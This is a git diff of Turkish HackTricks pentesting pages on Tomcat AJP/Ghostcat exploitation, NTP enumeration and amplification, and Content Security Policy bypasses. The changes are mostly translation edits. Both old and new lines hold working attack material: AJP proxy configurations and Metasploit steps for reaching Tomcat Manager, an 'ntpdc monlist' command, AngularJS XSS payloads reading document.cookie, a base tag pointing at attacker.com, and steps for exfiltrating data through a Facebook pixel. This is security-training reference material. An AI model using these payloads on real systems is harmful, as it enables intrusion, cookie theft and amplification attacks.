* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -15,7 +15,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
||||
|
||||
|
@ -34,7 +34,7 @@ Bugün [**Discord**](https://discord.com/invite/N3FrSbmwdy) üzerinden bize kat
|
|||
|
||||
Kaynak: [https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/](https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/)
|
||||
|
||||
> AJP bir kablo protokolüdür. Tomcat ile konuşabilmesi için [Apache](http://httpd.apache.org/) gibi bağımsız bir web sunucusunun HTTP protokolünün optimize edilmiş bir versiyonudur. Tarihsel olarak, Apache statik içeriği sunmada Tomcat'ten çok daha hızlı olmuştur. Amaç, mümkün olduğunda Apache'nin statik içeriği sunmasına izin vermek, ancak Tomcat ile ilgili içerikler için isteği Tomcat'e yönlendirmektir.
|
||||
> AJP bir kablo protokolüdür. Tomcat ile konuşabilmesi için [Apache](http://httpd.apache.org/) gibi bağımsız bir web sunucusunun HTTP protokolünün optimize edilmiş bir versiyonudur. Tarihsel olarak, Apache, statik içeriği sunmada Tomcat'ten çok daha hızlı olmuştur. Amaç, mümkün olduğunda Apache'nin statik içeriği sunmasına izin vermek, ancak Tomcat ile ilgili içerikler için isteği Tomcat'e yönlendirmektir.
|
||||
|
||||
Ayrıca ilginç:
|
||||
|
||||
|
@ -49,7 +49,7 @@ PORT STATE SERVICE
|
|||
|
||||
Eğer AJP portu açığa çıkmışsa, Tomcat Ghostcat zafiyetine maruz kalabilir. Bu sorunla çalışan bir [exploit](https://www.exploit-db.com/exploits/48143) burada bulunmaktadır.
|
||||
|
||||
Ghostcat, LFI zafiyeti olup, bir dereceye kadar kısıtlıdır: yalnızca belirli bir yoldan dosyalar çekilebilir. Yine de, bu, sunucu ayarlarına bağlı olarak Tomcat arayüzü için kimlik bilgileri gibi önemli bilgileri sızdırabilecek `WEB-INF/web.xml` gibi dosyaları içerebilir.
|
||||
Ghostcat, LFI zafiyeti olup, bir dereceye kadar kısıtlıdır: yalnızca belirli bir yoldan dosyalar çekilebilir. Yine de, bu, sunucu yapılandırmasına bağlı olarak Tomcat arayüzü için kimlik bilgileri gibi önemli bilgileri sızdırabilecek `WEB-INF/web.xml` gibi dosyaları içerebilir.
|
||||
|
||||
9.0.31, 8.5.51 ve 7.0.100 veya üzerindeki yamanmış sürümler bu sorunu düzeltmiştir.
|
||||
|
||||
|
@ -67,11 +67,11 @@ nmap -sV --script ajp-auth,ajp-headers,ajp-methods,ajp-request -n -p 8009 <IP>
|
|||
|
||||
[Dockerize edilmiş versiyonu kontrol edin](8009-pentesting-apache-jserv-protocol-ajp.md#Dockerized-version)
|
||||
|
||||
Açık bir AJP proxy portu (8009 TCP) ile karşılaştığımızda, "gizli" Tomcat Manager'a erişmek için `ajp_module` ile Nginx kullanabiliriz. Bu, Nginx kaynak kodunu derleyip gerekli modülü ekleyerek yapılabilir:
|
||||
Açık bir AJP proxy portu (8009 TCP) ile karşılaştığımızda, "gizli" Tomcat Manager'a erişmek için Nginx'i `ajp_module` ile kullanabiliriz. Bu, Nginx kaynak kodunu derleyerek ve gerekli modülü ekleyerek yapılabilir, şu şekilde:
|
||||
|
||||
* Nginx kaynak kodunu indirin
|
||||
* Gerekli modülü indirin
|
||||
* `ajp_module` ile Nginx kaynak kodunu derleyin.
|
||||
* Nginx kaynak kodunu `ajp_module` ile derleyin.
|
||||
* AJP Portuna işaret eden bir yapılandırma dosyası oluşturun
|
||||
```bash
|
||||
# Download Nginx code
|
||||
|
@ -87,7 +87,7 @@ make
|
|||
sudo make install
|
||||
nginx -V
|
||||
```
|
||||
`server` bloğunu tamamen yorum satırı haline getirin ve aşağıdaki satırları `/etc/nginx/conf/nginx.conf` içindeki `http` bloğunun içine ekleyin.
|
||||
`server` bloğunu tamamen yorumlayın ve `/etc/nginx/conf/nginx.conf` içindeki `http` bloğunun içine aşağıdaki satırları ekleyin.
|
||||
```shell-session
|
||||
upstream tomcats {
|
||||
server <TARGET_SERVER>:8009;
|
||||
|
@ -147,7 +147,7 @@ docker run -it --rm -p 80:80 nginx-ajp-proxy
|
|||
```
|
||||
### Apache AJP Proxy
|
||||
|
||||
Açık 8009 portu ile başka erişilebilir web portlarının olmaması nadirdir. Ancak, bunu **Metasploit** kullanarak istismar etmek hala mümkündür. **Apache**'yi bir proxy olarak kullanarak, istekler 8009 portundaki **Tomcat**'e yönlendirilebilir.
|
||||
Açık bir 8009 portu ile başka erişilebilir web portlarının olmaması nadirdir. Ancak, bunu **Metasploit** kullanarak istismar etmek hala mümkündür. **Apache**'yi bir proxy olarak kullanarak, istekler 8009 portundaki **Tomcat**'e yönlendirilebilir.
|
||||
```bash
|
||||
sudo apt-get install libapache2-mod-jk
|
||||
sudo vim /etc/apache2/apache2.conf # append the following line to the config
|
||||
|
@ -174,7 +174,7 @@ msf exploit(tomcat_mgr_deploy) > show options
|
|||
* [https://github.com/yaoweibin/nginx\_ajp\_module](https://github.com/yaoweibin/nginx\_ajp\_module)
|
||||
* [https://academy.hackthebox.com/module/145/section/1295](https://academy.hackthebox.com/module/145/section/1295)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
||||
|
||||
|
@ -198,8 +198,8 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
|
|||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **@hacktricks\_live**'ı takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **HackTricks** [**ve**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek hacking ipuçlarını paylaşın.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -16,7 +16,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
|
||||
|
@ -71,9 +71,9 @@ nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 1
|
|||
|
||||
[**NTP DDoS Saldırısının Nasıl Çalıştığı**](https://resources.infosecinstitute.com/network-time-protocol-ntp-threats-countermeasures/#gref)
|
||||
|
||||
**NTP protokolü**, UDP kullanarak, TCP'nin aksine el sıkışma prosedürlerine ihtiyaç duymadan çalışmasına olanak tanır. Bu özellik, **NTP DDoS amplifikasyon saldırıları** sırasında istismar edilir. Burada, saldırganlar sahte bir kaynak IP ile paketler oluşturur, böylece saldırı taleplerinin kurban tarafından geldiği izlenimi yaratılır. Başlangıçta küçük olan bu paketler, NTP sunucusunun çok daha büyük veri hacimleriyle yanıt vermesine neden olarak saldırıyı amplifiye eder.
|
||||
**NTP protokolü**, UDP kullanarak, TCP'nin aksine el sıkışma prosedürlerine ihtiyaç duymadan çalışmasına olanak tanır. Bu özellik, **NTP DDoS amplifikasyon saldırıları** sırasında istismar edilir. Burada, saldırganlar sahte bir kaynak IP ile paketler oluşturur, böylece saldırı taleplerinin kurbandan geldiği izlenimi yaratılır. Başlangıçta küçük olan bu paketler, NTP sunucusunun çok daha büyük veri hacimleriyle yanıt vermesine neden olarak saldırıyı amplifiye eder.
|
||||
|
||||
_**MONLIST**_ komutu, nadir kullanıma rağmen, NTP hizmetine bağlı son 600 istemciyi raporlayabilir. Komutun kendisi basit olmasına rağmen, bu tür saldırılardaki kötüye kullanımı kritik güvenlik açıklarını vurgular.
|
||||
_**MONLIST**_ komutu, nadir kullanıma rağmen, NTP hizmetine bağlı son 600 istemciyi raporlayabilir. Komut kendisi basit olmasına rağmen, bu tür saldırılardaki kötüye kullanımı kritik güvenlik açıklarını vurgular.
|
||||
```bash
|
||||
ntpdc -n -c monlist <IP>
|
||||
```
|
||||
|
@ -100,7 +100,7 @@ Name: Nmap
|
|||
Description: Enumerate NTP
|
||||
Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 123 {IP}
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
||||
|
||||
|
@ -113,7 +113,7 @@ Gerçek zamanlı haberler ve içgörülerle hızlı tempolu hacking dünyasında
|
|||
**Son Duyurular**\
|
||||
Yeni başlayan bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi sahibi olun
|
||||
|
||||
**Bugün** [**Discord**](https://discord.com/invite/N3FrSbmwdy) üzerinden bize katılın ve en iyi hackerlarla işbirliğine başlayın!
|
||||
**Bugün en iyi hackerlarla işbirliği yapmak için** [**Discord**](https://discord.com/invite/N3FrSbmwdy) sunucumuza katılın!
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -1,21 +1,21 @@
|
|||
# İçerik Güvenlik Politikası (CSP) Bypass
|
||||
# Content Security Policy (CSP) Bypass
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
|
||||
* **Hacking ipuçlarını paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
||||
|
||||
|
@ -28,11 +28,11 @@ Gerçek zamanlı haberler ve içgörülerle hızlı tempolu hacking dünyasında
|
|||
**Son Duyurular**\
|
||||
Yeni başlayan bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi sahibi olun
|
||||
|
||||
**Bize katılın** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ve bugün en iyi hackerlarla işbirliği yapmaya başlayın!
|
||||
Bugün [**Discord**](https://discord.com/invite/N3FrSbmwdy) üzerinden bize katılın ve en iyi hackerlarla işbirliği yapmaya başlayın!
|
||||
|
||||
## CSP Nedir
|
||||
|
||||
İçerik Güvenlik Politikası (CSP), esasen **cross-site scripting (XSS)** gibi saldırılara karşı **koruma sağlamak** amacıyla tanınan bir tarayıcı teknolojisidir. Tarayıcı tarafından güvenli bir şekilde yüklenebilecek kaynakların yollarını ve kaynaklarını tanımlayarak çalışır. Bu kaynaklar, resimler, çerçeveler ve JavaScript gibi çeşitli öğeleri kapsar. Örneğin, bir politika, aynı alan adından (self) kaynakların yüklenmesine ve çalıştırılmasına izin verebilir; bu, inline kaynakları ve `eval`, `setTimeout` veya `setInterval` gibi fonksiyonlar aracılığıyla string kodunun çalıştırılmasını içerir.
|
||||
Content Security Policy (CSP), esasen **cross-site scripting (XSS)** gibi saldırılara karşı **koruma sağlamak** amacıyla tanınan bir tarayıcı teknolojisidir. Tarayıcı tarafından güvenli bir şekilde yüklenebilecek kaynakların yollarını ve kaynaklarını tanımlayarak çalışır. Bu kaynaklar, resimler, çerçeveler ve JavaScript gibi çeşitli öğeleri kapsar. Örneğin, bir politika, aynı alan adından (self) kaynakların yüklenmesine ve çalıştırılmasına izin verebilir; bu, inline kaynakları ve `eval`, `setTimeout` veya `setInterval` gibi fonksiyonlar aracılığıyla string kodunun çalıştırılmasını içerir.
|
||||
|
||||
CSP'nin uygulanması, **yanıt başlıkları** aracılığıyla veya **HTML sayfasına meta öğeleri ekleyerek** gerçekleştirilir. Bu politikayı izleyerek, tarayıcılar bu şartları proaktif bir şekilde uygular ve tespit edilen ihlalleri hemen engeller.
|
||||
|
||||
|
@ -46,7 +46,7 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
|
|||
```
|
||||
### Headers
|
||||
|
||||
CSP, bu başlıklar kullanılarak uygulanabilir veya izlenebilir:
|
||||
CSP bu başlıklar kullanılarak uygulanabilir veya izlenebilir:
|
||||
|
||||
* `Content-Security-Policy`: CSP'yi uygular; tarayıcı herhangi bir ihlali engeller.
|
||||
* `Content-Security-Policy-Report-Only`: İzleme için kullanılır; ihlalleri engellemeden raporlar. Ön üretim ortamlarında test etmek için idealdir.
|
||||
|
@ -86,7 +86,7 @@ object-src 'none';
|
|||
* **report-to**: Politika ihlal edilirse bir raporun gönderileceği grubu belirtir.
|
||||
* **worker-src**: Worker, SharedWorker veya ServiceWorker scriptleri için geçerli kaynakları belirtir.
|
||||
* **prefetch-src**: Alınacak veya önceden alınacak kaynaklar için geçerli kaynakları belirtir.
|
||||
* **navigate-to**: Bir belgenin herhangi bir yöntemle (a, form, window.location, window.open, vb.) gidebileceği URL'leri kısıtlar.
|
||||
* **navigate-to**: Bir belgenin herhangi bir şekilde (a, form, window.location, window.open, vb.) gidebileceği URL'leri kısıtlar.
|
||||
|
||||
### Kaynaklar
|
||||
|
||||
|
@ -114,15 +114,15 @@ b.nonce=a.nonce; doc.body.appendChild(b)'>
|
|||
```
|
||||
</details>
|
||||
|
||||
* `'sha256-<hash>'`: Belirli bir sha256 hash'ine sahip scriptleri beyaz listeye alır.
|
||||
* `'strict-dynamic'`: Bir nonce veya hash ile beyaz listeye alındıysa, herhangi bir kaynaktan script yüklenmesine izin verir.
|
||||
* `'sha256-<hash>'`: Belirli bir sha256 hash ile scriptleri beyaz listeye alır.
|
||||
* `'strict-dynamic'`: Bir nonce veya hash ile beyaz listeye alınmışsa, herhangi bir kaynaktan script yüklenmesine izin verir.
|
||||
* `'host'`: `example.com` gibi belirli bir hostu belirtir.
|
||||
* `https:`: URL'leri yalnızca HTTPS kullananlarla kısıtlar.
|
||||
* `blob:`: Kaynakların Blob URL'lerinden (örneğin, JavaScript ile oluşturulan Blob URL'leri) yüklenmesine izin verir.
|
||||
* `filesystem:`: Kaynakların dosya sisteminden yüklenmesine izin verir.
|
||||
* `'report-sample'`: İhlal raporunda ihlal eden kodun bir örneğini içerir (hata ayıklama için yararlıdır).
|
||||
* `'strict-origin'`: 'self' ile benzer ancak kaynakların protokol güvenlik seviyesinin belgeyle eşleşmesini sağlar (yalnızca güvenli kökenler güvenli kökenlerden kaynak yükleyebilir).
|
||||
* `'strict-origin-when-cross-origin'`: Aynı kökenli istekler yapıldığında tam URL'leri gönderir, ancak istek çapraz köken olduğunda yalnızca kökeni gönderir.
|
||||
* `'strict-origin'`: 'self' ile benzer ancak kaynakların protokol güvenlik seviyesinin belge ile eşleşmesini sağlar (yalnızca güvenli kökenler güvenli kökenlerden kaynak yükleyebilir).
|
||||
* `'strict-origin-when-cross-origin'`: Aynı köken istekleri yaparken tam URL'leri gönderir, ancak istek çapraz köken olduğunda yalnızca kökeni gönderir.
|
||||
* `'unsafe-allow-redirects'`: Hemen başka bir kaynağa yönlendirecek kaynakların yüklenmesine izin verir. Güvenliği zayıflattığı için önerilmez.
|
||||
|
||||
## Güvensiz CSP Kuralları
|
||||
|
@ -153,7 +153,7 @@ Content-Security-Policy: script-src https://google.com 'unsafe-eval';
|
|||
```
|
||||
### strict-dynamic
|
||||
|
||||
Eğer bir şekilde **izin verilen JS kodu, DOM'da yeni bir script etiketi oluşturuyorsa** ve bu izin verilen script onu oluşturuyorsa, **yeni script etiketi çalıştırılmaya izin verilecektir**.
|
||||
Eğer bir şekilde **izin verilen JS kodu DOM'da yeni bir script etiketi oluşturabiliyorsa** ve bu izin verilen script onu oluşturuyorsa, **yeni script etiketi çalıştırılmaya izin verilecektir**.
|
||||
|
||||
### Wildcard (\*)
|
||||
```yaml
|
||||
|
@ -196,12 +196,12 @@ Buradan, bir XSS ve dosya yüklemesi bulursanız ve **yanlış yorumlanan bir uz
|
|||
|
||||
### Form-action
|
||||
|
||||
Eğer JS enjekte etmek mümkün değilse, örneğin kimlik bilgilerini **bir form eylemi enjekte ederek** dışarı sızdırmayı deneyebilirsiniz (ve belki şifre yöneticilerinin şifreleri otomatik doldurmasını bekleyebilirsiniz). [**Bu raporda bir örnek bulabilirsiniz**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Ayrıca, `default-src`'nin form eylemlerini kapsamadığını unutmayın.
|
||||
JS enjekte etmek mümkün değilse, örneğin kimlik bilgilerini **bir form eylemi enjekte ederek** dışarı sızdırmayı deneyebilirsiniz (ve belki şifre yöneticilerinin şifreleri otomatik doldurmasını bekleyebilirsiniz). [**Bu raporda bir örnek bulabilirsiniz**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Ayrıca, `default-src`'nin form eylemlerini kapsamadığını unutmayın.
|
||||
|
||||
### Üçüncü Taraf Uç Noktaları + ('unsafe-eval')
|
||||
|
||||
{% hint style="warning" %}
|
||||
Aşağıdaki yüklerden bazıları için **`unsafe-eval` bile gerekli değildir**.
|
||||
Aşağıdaki bazı yükler için **`unsafe-eval` bile gerekli değildir**.
|
||||
{% endhint %}
|
||||
```yaml
|
||||
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
|
||||
|
@ -227,10 +227,10 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
|
|||
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
|
||||
>
|
||||
```
|
||||
#### Angular kullanarak ve `window` nesnesini döndüren fonksiyonlar içeren bir kütüphane ile payloadlar ([bu yazıya göz atın](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
|
||||
#### Angular + `window` nesnesini döndüren fonksiyonlar içeren bir kütüphane kullanarak Payload'lar ([bu gönderiye göz atın](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
|
||||
|
||||
{% hint style="info" %}
|
||||
Yazı, `cdn.cloudflare.com` (veya başka bir izin verilen JS kütüphaneleri deposu) üzerinden **tüm kütüphaneleri** **yükleyebileceğinizi**, her kütüphaneden eklenen tüm fonksiyonları çalıştırabileceğinizi ve **hangi kütüphanelerden hangi fonksiyonların `window` nesnesini döndürdüğünü** kontrol edebileceğinizi gösteriyor.
|
||||
Gönderi, `cdn.cloudflare.com` (veya başka bir izin verilen JS kütüphaneleri deposu) üzerinden **tüm kütüphaneleri** **yükleyebileceğinizi**, her kütüphaneden eklenen tüm fonksiyonları çalıştırabileceğinizi ve **hangi kütüphanelerden hangi fonksiyonların `window` nesnesini döndürdüğünü** kontrol edebileceğinizi gösteriyor.
|
||||
{% endhint %}
|
||||
```markup
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
|
||||
|
@ -263,7 +263,7 @@ Angular XSS bir sınıf adından:
|
|||
```
|
||||
#### Google reCAPTCHA JS kodunu kötüye kullanma
|
||||
|
||||
[**bu CTF yazımına**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves) göre, CSP içinde [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) kullanarak CSP'yi atlayarak rastgele JS kodu çalıştırabilirsiniz:
|
||||
[**bu CTF yazısına**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves) göre, CSP içinde [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) kullanarak CSP'yi atlayarak rastgele JS kodu çalıştırabilirsiniz:
|
||||
```html
|
||||
<div
|
||||
ng-controller="CarouselController as c"
|
||||
|
@ -291,7 +291,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)'>
|
|||
```
|
||||
#### www.google.com'u açık yönlendirme için istismar etme
|
||||
|
||||
Aşağıdaki URL, example.com'a yönlendirir (buradan [buraya](https://www.landh.tech/blog/20240304-google-hack-50000/)):
|
||||
Aşağıdaki URL, example.com'a yönlendirir (buradan): [here](https://www.landh.tech/blog/20240304-google-hack-50000/)
|
||||
```
|
||||
https://www.google.com/amp/s/example.com/
|
||||
```
|
||||
|
@ -348,7 +348,7 @@ Veri sızdırma işlemini, her zaman [Google Analytics](https://www.humansecurit
|
|||
2. Yeni bir "Facebook Girişi" uygulaması oluşturun ve "Web Sitesi"ni seçin.
|
||||
3. "Ayarlar -> Temel" bölümüne gidin ve "Uygulama Kimliğinizi" alın.
|
||||
4. Veri sızdırmak istediğiniz hedef sitede, "customEvent" ve veri yükü aracılığıyla doğrudan Facebook SDK aracı "fbq" kullanarak veri sızdırabilirsiniz.
|
||||
5. Uygulamanızın "Etkinlik Yöneticisi"ne gidin ve oluşturduğunuz uygulamayı seçin (etkinlik yöneticisi, şu URL'ye benzer bir yerde bulunabilir: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
|
||||
5. Uygulamanızın "Etkinlik Yöneticisi"ne gidin ve oluşturduğunuz uygulamayı seçin (etkinlik yöneticisi, şu URL'ye benzer bir URL'de bulunabilir: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
|
||||
6. "Test Etkinlikleri" sekmesini seçerek "sizin" web siteniz tarafından gönderilen etkinlikleri görün.
|
||||
|
||||
Ardından, kurban tarafında, saldırganın Facebook geliştirici hesabı uygulama kimliğine işaret eden Facebook izleme pikselini başlatmak ve şu şekilde özel bir etkinlik oluşturmak için aşağıdaki kodu çalıştırırsınız:
|
||||
|
@ -372,7 +372,7 @@ Tarayıcı nihayetinde `https://example.com/scripts/angular/angular.js` dosyası
|
|||
|
||||
Bu, tarayıcı için `https://example.com/scripts/react/` altında bulunan `..%2fangular%2fangular.js` adlı bir dosya yüklüyorsunuz gibi göründüğü için çalışır; bu CSP ile uyumludur.
|
||||
|
||||
∑, bunu çözümleyecekler ve etkili bir şekilde `https://example.com/scripts/react/../angular/angular.js` isteğinde bulunacaklar, bu da `https://example.com/scripts/angular/angular.js` ile eşdeğerdir.
|
||||
∑, bunu çözecekler ve etkili bir şekilde `https://example.com/scripts/react/../angular/angular.js` isteğinde bulunacaklar; bu da `https://example.com/scripts/angular/angular.js` ile eşdeğerdir.
|
||||
|
||||
**Tarayıcı ve sunucu arasındaki URL yorumlama tutarsızlığından yararlanarak, yol kuralları atlatılabilir.**
|
||||
|
||||
|
@ -390,7 +390,7 @@ Bu, tarayıcı için `https://example.com/scripts/react/` altında bulunan `..%2
|
|||
|
||||
Eğer **base-uri** direktifi eksikse, bunu [**dangling markup injection**](../dangling-markup-html-scriptless-injection/) gerçekleştirmek için kötüye kullanabilirsiniz.
|
||||
|
||||
Ayrıca, eğer **sayfa bir göreli yol kullanarak bir script yüklüyorsa** (örneğin `<script src="/js/app.js">`) ve bir **Nonce** kullanıyorsanız, **base** **etiketini** kötüye kullanarak scripti **kendi sunucunuzdan yüklemesini sağlayabilirsiniz ve bu bir XSS'ye yol açar.**\
|
||||
Ayrıca, eğer **sayfa bir göreli yol kullanarak bir script yüklüyorsa** (örneğin `<script src="/js/app.js">`) ve bir **Nonce** kullanıyorsanız, **kendi sunucunuzdan script yüklemesi için** **base** **etiketini** kötüye kullanarak **XSS elde edebilirsiniz.**\
|
||||
Eğer savunmasız sayfa **httpS** ile yükleniyorsa, base'de bir httpS URL'si kullanın.
|
||||
```html
|
||||
<base href="https://www.attacker.com/">
|
||||
|
@ -404,11 +404,11 @@ Bu diziyi `orderBy` filtresine yönlendirerek, dizinin üzerinde yineleme yapmak
|
|||
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
|
||||
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
|
||||
```
|
||||
Bu kod parçası, olayı tetiklemek için `ng-focus` direktifinin kullanımını vurgular, `$event.path|orderBy` kullanarak `path` dizisini manipüle eder ve `alert()` fonksiyonunu çalıştırmak için `window` nesnesini kullanarak `document.cookie`'yi açığa çıkarır.
|
||||
Bu snippet, olayı tetiklemek için `ng-focus` direktifinin kullanımını vurgular, `$event.path|orderBy` kullanarak `path` dizisini manipüle eder ve `alert()` fonksiyonunu çalıştırmak için `window` nesnesini kullanarak `document.cookie`'yi açığa çıkarır.
|
||||
|
||||
**Diğer Angular bypass'larını bulmak için** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
|
||||
|
||||
### AngularJS ve beyaz listeye alınmış alan adı
|
||||
### AngularJS ve beyaz listeye alınmış alan
|
||||
```
|
||||
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
|
||||
```
|
||||
|
@ -428,7 +428,7 @@ Diğer JSONP keyfi yürütme uç noktaları [**burada**](https://github.com/zigo
|
|||
|
||||
